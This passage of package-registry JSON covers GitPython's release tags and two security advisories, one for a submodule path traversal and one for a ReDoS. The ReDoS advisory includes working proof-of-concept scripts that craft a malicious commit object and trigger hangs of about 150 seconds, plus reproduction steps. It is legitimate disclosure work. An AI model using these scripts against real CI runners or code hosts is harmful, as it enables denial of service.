sts_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/0.3.6"},{"name":"0.3.5","sha":"a2d39529eea4d0ecfcd65a2d245284174cd2e0aa","kind":"tag","published_at":"2015-01-12T19:51:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.5/manifests","release_url":null},{"name":"0.3.4","sha":"b18fd3fd13d0a1de0c3067292796e011f0f01a05","kind":"tag","published_at":"2015-01-06T16:22:02.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.4/manifests","release_url":null},{"name":"0.3.3","sha":"1de8af907dbced4fde64ee2c7f57527fc43ad1cc","kind":"tag","published_at":"2015-01-04T15:13:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.3/manifests","release_url":null},{"name":"0.3.2.1","sha":"5b6080369e7ee47b7d746685d264358c91d656bd","kind":"commit","published_at":"2014-11-18T08:59:46.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1/manifests","release_url":null},{"name":"0.3.2","sha":"c5452aa820c0f5c2454642587ff6a3bd6d96eaa1","kind":"commit","published_at":"2014-11-14T14:52:34.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2/manifests","release_url":null},{"name":"0.3.2-RC1","sha":"0e9eef45194039af6b8c22edf06cfd7cb106727a","kind":"commit","published_at":"2011-07-06T12:52:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2-RC1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2-RC1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.2-RC1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2-RC1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2-RC1/manifests","release_url":null},{"name":"0.3.1-beta2","sha":"5eb7fd3f0dd99dc6c49da6fd7e78a392c4ef1b33","kind":"commit","published_at":"2011-01-17T22:15:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.1-beta2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.1-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.1-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta2/manifests","release_url":null},{"name":"0.3.1-beta1","sha":"fca367548e365f93c58c47dea45507025269f59a","kind":"commit","published_at":"2010-11-21T21:26:01.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.1-beta1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.1-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.1-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.1-beta1/manifests","release_url":null},{"name":"0.3.0-beta2","sha":"258403da9c2a087b10082d26466528fce3de38d4","kind":"commit","published_at":"2010-07-09T10:35:44.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.0-beta2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.0-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta2/manifests","release_url":null},{"name":"0.3.0-beta1","sha":"3288a244428751208394d8137437878277ceb71f","kind":"commit","published_at":"2010-07-08T09:49:21.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.0-beta1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.0-beta1/manifests","release_url":null},{"name":"0.2.0-beta1","sha":"1019d4cf68d1acdbb4d6c1abb7e71ac9c0f581af","kind":"commit","published_at":"2010-05-25T18:11:43.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.2.0-beta1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.2.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.2.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.2.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.2.0-beta1/manifests","release_url":null},{"name":"0.1.7","sha":"7bfca5efce8988e6070e7284bd409d1a731a3fbc","kind":"commit","published_at":"2010-03-20T15:45:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.7/manifests","release_url":null},{"name":"0.1.6","sha":"9a4b1d4d11eee3c5362a4152216376e634bd14cf","kind":"commit","published_at":"2009-01-24T20:41:55.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.6/manifests","release_url":null},{"name":"0.1.5","sha":"5117c9c8a4d3af19a9958677e45cda9269de1541","kind":"commit","published_at":"2008-12-15T18:44:44.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.5/manifests","release_url":null},{"name":"0.1.4","sha":"924da9604d6474fd1be99dffdcc539eaaaa31626","kind":"tag","published_at":"2008-07-17T02:32:01.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4/manifests","release_url":null},{"name":"0.1.4-pre","sha":"95a83a7de5d3ce84206b9267962c32df4d071c21","kind":"tag","published_at":"2008-07-16T23:48:45.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.1.4-pre","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.1.4-pre","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.1.4-pre","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4-pre","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.1.4-pre/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-11-27T08:21:41.654754Z","dependent_packages_count":1181,"downloads":147834014,"downloads_period":"last-month","dependent_repos_count":27784,"rankings":{"downloads":0.01980898997995257,"dependent_repos_count":0.04273606171600878,"dependent_packages_count":0.022376822014390865,"stargazers_count":1.5876538635784205,"forks_count":1.8690148879233026,"docker_downloads_count":0.36481556546412647,"average":0.6510676984460336},"purl":"pkg:pypi/gitpython","advisories":[{"uuid":"GSA_kwCzR0hTQS01OWNyLTZyM3gtNjQ0d84AB7Rg","url":"https://github.com/advisories/GHSA-59cr-6r3x-644w","title":"GitPython submodule update path traversal can write outside the repository","description":"**Affected:** `GitPython` **3.1.61** (latest release) and `main` — `git/objects/submodule/base.py`. `git diff 3.1.61 origin/main -- git/objects/submodule/` is empty, so both are identical here.\n\n---\n\n## The gap\n\nThe fix for `GHSA-hmq2-w58f-27jc` added `Submodule._validated_name()` and wired it into `update()` and five siblings, closing the `.gitmodules` **name** → `.git/modules/\u003cname\u003e` traversal. The other attacker-controlled `.gitmodules` field, **`path`**, is read raw:\n\n```python\n# git/objects/submodule/base.py:172-177\ndef _set_cache_(self, attr):\n    if attr in (\"path\", \"_url\", \"_branch_path\"):\n        reader = self.config_reader()\n        self.path = reader.get(\"path\")          # raw .gitmodules value\n```\n\nand GitPython's own containment guard is applied in only two of the places that consume it:\n\n```\n400: def _to_relative_path(cls, parent_repo, path)      # the guard (abspath + commonpath containment)\n542:     path = cls._to_relative_path(repo, path)        # add()   — guarded\n1041:    module_checkout_path = self._to_relative_path(self.repo, module_path)   # move() — guarded\n```\n\n`update()` validates only the name and then uses the path-derived absolute location directly:\n\n```\n788:  self._validated_name(self.name)                    # NAME only\n801:  checkout_module_abspath = self.abspath             # derived from self.path — unguarded\n821:  os.makedirs(checkout_module_abspath, exist_ok=True)\n```\n\nSo `path = ../../../tmp/escaped` in an attacker-authored `.gitmodules` selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what `force_remove` hands to `shutil.rmtree`.\n\nThe asymmetry is the argument: this is not a missing concept — the project wrote `_to_relative_path()` precisely for this, and `add()`/`move()` use it. `update()` does not.\n\n## Honest limits (please read before rating)\n\n- **The most common flow is not affected.** `Repo.clone_from(...)` → `repo.submodules` → `sm.update(init=True)` re-derives `path` from a canonical tree lookup, and real git refuses to check out a tree containing a `..` component, so an evil `.gitmodules` never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a **non-HEAD commit** (a historical-commit API such as `submodule_update(previous_commit=...)`).\n- **The researcher did not build that end-to-end trigger.** The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in `update()`, and the unguarded `abspath` → `os.makedirs()` flow at 3.1.61 == `main`.\n\n## Suggested fix\n\nApply the guard the project already has, wherever the path is consumed:\n\n```python\n# in update(), before deriving abspath (and in any other consumer of self.path):\ncheckout_rel = self._to_relative_path(self.repo, self.path)   # raises if it escapes the working tree\n```\n\nBetter still, validate at the boundary: reject a `.gitmodules` entry whose `path` is absolute or contains a `..` component when the section is first read in `_set_cache_()`/`iter_items()`, so no consumer can be added later without the check. A regression test with `path = ../escaped` alongside the existing `name` test would pin both fields.\n\n## Prior art checked\n\n`GHSA-hmq2-w58f-27jc` (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the `path` field or `_to_relative_path`. Searched issues and PRs for `_to_relative_path`, `gitmodules path` and `submodule traversal`: no report of this.\n\n## Credit\n\n**kta1kri**.\n\n\n---\n\n## Appendix — `EVIDENCE_gitpython_path_unguarded_20260901.txt` (inlined; advisories accept no attachments)\n\n```text\n=== EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded ===\nMon Aug 31 18:45:22 UTC 2026\n\n--- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty ---\n\n--- the containment guard GitPython owns, and its only two call sites ---\n33:    _to_relative_path,\n400:    def _to_relative_path(cls, parent_repo: \"Repo\", path: PathLike) -\u003e PathLike:\n407:            path = _to_relative_path(parent_repo.working_tree_dir, path)\n542:        path = cls._to_relative_path(repo, path)\n1041:        module_checkout_path = self._to_relative_path(self.repo, module_path)\n\n--- the parent fix (_validated_name) call sites: it validates the NAME ---\n309:    def _validated_name(cls, name: str) -\u003e str:\n321:        name = cls._validated_name(name)\n541:        cls._validated_name(name)\n788:            self._validated_name(self.name)\n1040:        self._validated_name(self.name)\n1181:        self._validated_name(self.name)\n1439:        self._validated_name(self.name)\n1440:        self._validated_name(new_name)\n1489:        self._validated_name(self.name)\n\n--- update(): name validated, path not; abspath -\u003e os.makedirs ---\n\n        try:\n            self._validated_name(self.name)\n\n            # ENSURE REPO IS PRESENT AND UP-TO-DATE\n                # END early abort if init is not allowed\n\n                checkout_module_abspath = self.abspath\n                module_abspath = self._module_abspath(self.repo, self.path, self.name)\n\n                # ``git submodule deinit`` leaves the repository in\n                # ``.git/modules`` and empties the checkout. Reconnect that retained\n                # repository instead of trying to clone over it.\n                if not dry_run and osp.isdir(module_abspath):\n                    try:\n                        git.Repo(module_abspath)\n                    except InvalidGitRepositoryError:\n                        pass\n                    else:\n                        if osp.lexists(checkout_module_abspath) and (\n                            osp.islink(checkout_module_abspath)\n                            or not osp.isdir(checkout_module_abspath)\n                            or os.listdir(checkout_module_abspath)\n                        ):\n                            raise OSError(\n                                \"Module directory at %r does already exist and is non-empty\" % checkout_module_abspath\n                            )\n                        os.makedirs(checkout_module_abspath, exist_ok=True)\n                        self._write_git_file_and_module_config(checkout_module_abspath, module_abspath)\n                        mrepo = git.Repo(checkout_module_abspath)\n\n--- where self.path comes from (raw .gitmodules value) ---\n    def _set_cache_(self, attr: str) -\u003e None:\n        if attr in (\"path\", \"_url\", \"_branch_path\"):\n            reader: SectionConstraint = self.config_reader()\n            # Default submodule values.\n            try:\n                self.path = reader.get(\"path\")\n            except cp.NoSectionError as e:\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T23:47:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-59cr-6r3x-644w","https://github.com/gitpython-developers/GitPython/pull/2225","https://github.com/gitpython-developers/GitPython/commit/1ed0ebc2f2e74d979cdc367a4864a7731fdcc093","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62","https://github.com/advisories/GHSA-59cr-6r3x-644w"],"source_kind":"github","identifiers":["GHSA-59cr-6r3x-644w"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-02T15:00:16.720Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OWNyLTZyM3gtNjQ0d84AB7Rg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01OWNyLTZyM3gtNjQ0d84AB7Rg","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.62","vulnerable_version_range":"\u003c= 3.1.61"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OWNyLTZyM3gtNjQ0d84AB7Rg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNXZ2LTlneHctODJoeM4AB7RW","url":"https://github.com/advisories/GHSA-g5vv-9gxw-82hx","title":"GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing","description":"### Summary\n\nGitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863)\nis vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of\nService). When GitPython parses the `author` or `committer` header of a git commit\nobject that contains a long string with an unterminated `\u003c` (no matching `\u003e`), the\nPython regex engine enters quadratic backtracking, causing complete single-threaded\nCPU exhaustion proportional to the square of the input length.\n\nA single crafted commit object can block any GitPython API call that reads\n`.author` or `.committer` for **over two minutes per invocation**, enabling denial\nof service against CI runners, code-hosting backends, repository-scanning\npipelines, or any service that processes commits from third-party or untrusted\nrepositories.\n\n---\n\n### Details\n\n**Vulnerable file and line:**\n\n`git/util.py`, line 863:\n\n```python\nname_email_regex = re.compile(r\"(.*) \u003c(.*?)\u003e\")\n```\n\nThis regex is evaluated inside `Actor._from_string()` (line 909) every time\nGitPython resolves a commit's `.author` or `.committer` property.\n\n**Full call chain — from public API to vulnerable sink:**\n\n\n\n\ncommit.author # any ordinary GitPython API call\n└── git/objects/commit.py:917\nCommit._deserialize()\n└── git/objects/util.py:341\nparse_actor_and_date(author_line)\n└── git/util.py:909\nActor._from_string(string)\n└── Actor.name_email_regex.search(string) ← VULNERABLE\n\n\n\n\n`author_line` is decoded directly from the raw bytes of the git commit object with\n**no length limit, character restriction, or timeout** applied at any point before\nreaching the regex engine. The same chain is triggered by:\n- `commit.author`\n- `commit.committer`\n- `repo.iter_commits()`\n- `repo.blame()`\n- Any web service / CI tool that displays or processes commit metadata\n\n**Why this pattern backtracks catastrophically:**\n\nThe pattern `(.*) \u003c(.*?)\u003e` contains an unbounded greedy group `(.*)` followed by\na literal space and `\u003c`. When the input is a long string that contains `\u003c` but no\nclosing `\u003e`, the regex engine must try every possible split position for the greedy\ngroup — O(n²) candidate positions for a string of length n — each of which then\ndrives the inner lazy group into further sub-match attempts. This is the\nwell-documented \"catastrophic backtracking\" failure mode for this family of\npatterns.\n\n**Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):**\n\n| Author field length (bytes) | Time to resolve `.author` |\n|-----------------------------|--------------------------|\n| 1,000  | 0.0035 s |\n| 5,000  | 0.084 s  |\n| 10,000 | 0.341 s  |\n| 20,000 | 1.525 s  |\n| 40,000 | 5.963 s  |\n| 60,000 | 13.360 s |\n| 80,000 | 23.871 s |\n| **200,000** | **150.488 s** |\n\nEach doubling of input size roughly quadruples processing time (e.g. 40,000 →\n80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself\nimposes **no practical size limit** on author name fields in the object format.\n\n**How the malicious object reaches a victim:**\n\nThe PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git\nloose object written directly into `.git/objects/`. `git cat-file -t \u003csha\u003e` confirms\nit is a valid `commit` type and git's own read-side tools display it without error.\nOnly git's write-side tooling (`git commit --author`, `git update-index`,\nexplicit `git fsck`) applies the sanity checks that would reject a malformed author\nline. Delivery paths that bypass those checks include:\n\n- A git server with `receive.fsckObjects = false` (common in self-hosted deployments)\n- A `.git` directory shipped as a tarball, backup, or zip archive\n- A git bundle file\n- Any automated mirror or import tool that operates at the object level\n\n---\n\n### PoC\n\n**Environment used for testing:**\n- GitPython 3.1.59, installed in editable mode from source (no code modifications)\n- Python 3.12.3, git 2.43.0, Ubuntu 24.04\n\n**Script 1 — craft the malicious repository (`craft_malicious_repo.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a git repository with one commit whose 'author' field is a large\nstring containing an unterminated '\u003c'. Bypasses git's write-side sanity\nchecks by writing the raw object directly into .git/objects/.\n\nUsage: python3 craft_malicious_repo.py \u003ctarget_dir\u003e \u003cpayload_size_bytes\u003e\n\"\"\"\nimport hashlib, os, subprocess, sys, zlib\n\ndef run(cmd, cwd):\n    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} \u003ctarget_dir\u003e \u003cpayload_size_bytes\u003e\")\n        sys.exit(1)\n\n    target_dir, payload_size = sys.argv[1], int(sys.argv[2])\n\n    os.makedirs(target_dir, exist_ok=True)\n    run([\"git\", \"init\", \"--quiet\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.email\", \"poc@example.com\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.name\", \"PoC\"], cwd=target_dir)\n\n    with open(os.path.join(target_dir, \"README.txt\"), \"w\") as f:\n        f.write(\"GitPython ReDoS PoC repository\\n\")\n    run([\"git\", \"add\", \"README.txt\"], cwd=target_dir)\n    tree_sha = run([\"git\", \"write-tree\"], cwd=target_dir).stdout.strip()\n\n    malicious_name = \"A\" * payload_size\n    # Key: author field contains a '\u003c' with no closing '\u003e'\n    author_line    = f\"author {malicious_name} \u003cunterminated 1691999972 -0700\"\n    committer_line = \"committer PoC \u003cpoc@example.com\u003e 1691999972 -0700\"\n    message        = \"ReDoS PoC commit\"\n\n    commit_content = (\n        f\"tree {tree_sha}\\n{author_line}\\n{committer_line}\\n\\n{message}\\n\"\n    ).encode()\n\n    header     = f\"commit {len(commit_content)}\\x00\".encode()\n    store      = header + commit_content\n    sha        = hashlib.sha1(store).hexdigest()\n    compressed = zlib.compress(store)\n\n    objdir = os.path.join(target_dir, \".git\", \"objects\", sha[:2])\n    os.makedirs(objdir, exist_ok=True)\n    with open(os.path.join(objdir, sha[2:]), \"wb\") as f:\n        f.write(compressed)\n\n    run([\"git\", \"update-ref\", \"refs/heads/master\", sha], cwd=target_dir)\n\n    print(f\"Malicious commit sha : {sha}\")\n    print(f\"Payload size         : {payload_size} bytes\")\n    verify = subprocess.run(\n        [\"git\", \"cat-file\", \"-t\", sha],\n        cwd=target_dir, capture_output=True, text=True\n    )\n    print(f\"git cat-file -t confirms: {verify.stdout.strip()}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Script 2 — trigger the vulnerability (`trigger_redos.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpens the repository with GitPython and times commit.author access,\nwhich triggers Actor._from_string() -\u003e Actor.name_email_regex.search().\n\nUsage: python3 trigger_redos.py \u003crepo_dir\u003e \u003ccommit_sha\u003e\n\"\"\"\nimport sys, time, git\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} \u003crepo_dir\u003e \u003ccommit_sha\u003e\")\n        sys.exit(1)\n\n    repo   = git.Repo(sys.argv[1])\n    commit = repo.commit(sys.argv[2])\n\n    print(\"Accessing commit.author — triggers Actor._from_string()...\")\n    t0     = time.time()\n    author = commit.author          # ← this single line causes the hang\n    elapsed = time.time() - t0\n\n    print(f\"Author name length : {len(author.name)} chars\")\n    print(f\"Elapsed            : {elapsed:.3f} seconds\")\n    print(\"RESULT: VULNERABLE\" if elapsed \u003e 5 else \"RESULT: not triggered\")\n\nif __name__ == \"__main__\":\n    main()\n```\n**Execution and observed output:**\n\n\n\n\n$ python3 craft_malicious_repo.py /tmp/victim-repo 200000\nMalicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de\nPayload size : 200000 bytes\ngit cat-file -t confirms: commit\n\n$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de\nAccessing commit.author — triggers Actor._from_string()...\nAuthor name length : 200014 chars\nElapsed : 150.488 seconds\nRESULT: VULNERABLE\n\n\n\n**Docker reproduction (fully isolated environment):**\n\n```bash\ndocker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash\n\n# Inside the container:\napt-get update \u0026\u0026 apt-get install -y git\ngit clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython\npip install -e /work/GitPython\n\npython3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000\n# note the SHA printed, then:\npython3 /work/poc/trigger_redos.py /work/victim-repo \u003cSHA\u003e\n```\n\nThe `python:3.8-bookworm` base image matches the one used in GitPython's own\n`fuzzing/local-dev-helpers/Dockerfile`.\n\n---\n\n### Impact\n\n**Who is affected:**\n\nAny application that uses GitPython to parse commits from a source it does not\nfully control. High-risk deployments include:\n\n- **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)\n  that clone and inspect third-party pull requests — one malicious commit in a PR\n  can stall every worker that processes it.\n- **Code-hosting or code-review web services** that render commit author information\n  — a single crafted push blocks every page render or API response that touches that\n  commit's metadata.\n- **Security or compliance scanners** that walk repository history across many\n  repositories — one crafted object in any repository exhausts a scanner worker.\n\n**Severity of impact:**\n\nA 200 KB author field blocks a process for ~150 seconds per single `.author`\naccess. When `iter_commits()` or `blame` are used, every commit in a history\ntraversal can be independently crafted, multiplying the total hang time by the\nnumber of commits processed. There is no confidentiality or integrity impact —\nthis is a pure availability / resource-exhaustion vulnerability.\n\n---\n\n### Suggested Fix\n\nReplace the vulnerable pattern with one that cannot backtrack catastrophically.\nThe minimal, behavior-preserving fix is to exclude `\u003c` and `\u003e` from the name\ngroup, removing the ambiguity that forces O(n²) backtracking:\n\n```python\n# git/util.py, line 863\n# Before (vulnerable):\nname_email_regex = re.compile(r\"(.*) \u003c(.*?)\u003e\")\n\n# After (fixed — identical output for all well-formed input):\nname_email_regex = re.compile(r\"([^\u003c\u003e]*) \u003c([^\u003c\u003e]*)\u003e\")\n```\n\nBecause the name group can no longer itself contain a `\u003c` character, the engine\nhas exactly one candidate position to try when a closing `\u003e` is absent — and fails\nin O(n) time instead of O(n²). Legitimate actor strings (`Name \u003cemail\u003e`) never\ncontain `\u003c` or `\u003e` in either field, so this change produces identical results for\nall valid input.\n\nAs defense in depth, independently of the regex fix, bounding the maximum number\nof characters GitPython will attempt to parse in an author/committer line (e.g.\nrejecting strings longer than 4096 bytes before passing them to any regex) would\nfurther limit the blast radius of any future ReDoS class in this 